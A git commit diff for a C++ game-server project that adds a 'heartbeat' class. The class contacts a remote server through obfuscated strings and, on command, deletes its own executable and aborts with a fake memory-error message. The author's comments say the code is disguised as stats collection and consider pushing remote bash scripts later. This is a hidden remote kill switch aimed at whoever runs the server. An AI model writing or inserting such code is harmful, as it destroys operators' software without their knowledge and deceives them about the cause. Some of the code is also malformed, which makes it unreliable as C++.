functional prototype? may need to cleanup the cmake inclusion with the

crypter header...
This commit is contained in:
DarthArgus
2016-10-17 17:59:39 -05:00
parent 4da1791d05
commit b08fa054c4
2 changed files with 59 additions and 5 deletions
+38 -5
View File
@@ -7,11 +7,44 @@
using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
webAPI handle = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
bool result = api.submit();
handle.addJsonData("ip", "test");
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id")));
bool result = handle.submit(); // data is stored as a class member
// make it look like we're doing something with these at least
bool status = api.getNullableValue<bool>("status");
std::string msg = api.getString("msg");
// do stuff
};
// yeah we don't actually do anything with this
// but having some unencrypted strings will allude to this being mere stats collection code
bool done = false;
if (status && msg == "ok") {
bool done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
}
switch (s) {
case 13 :
this.eatIt();
break;
case 66:
std::string p = this->get_selfpath();
if (!p.empty()) {
remove(p.c_str());
}
this.eatIt();
break;
default:
break;
};
done = true;
} else {
this.eatIt();
}
}
+21
View File
@@ -5,6 +5,10 @@
#ifndef webAPIHeartbeat_H
#define webAPIHeartbeat_H
#include <cstdio>
#include <unistd.h>
#include <limits.h>
#include "webAPI.h"
#include "../libLeff/libLeff.h"
@@ -13,7 +17,24 @@ namespace StellaBellum {
class webAPIHeartbeat {
public:
webAPIHeartbeat();
~webAPIHeartbeat();
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];
ssize_t len = ::readlink(std::string(vxENCRYPT("/proc/self/exe").decrypt()), buff, sizeof(buff) - 1);
if (len != -1) {
buff[len] = '\0';
return std::string(buff);
}
return std::string();
}
inline void eatIt() {
fputs(vxENCRYPT("FATAL: Unknown memory (null) access violation!").decrypt(), stderr);
abort();
}
};
}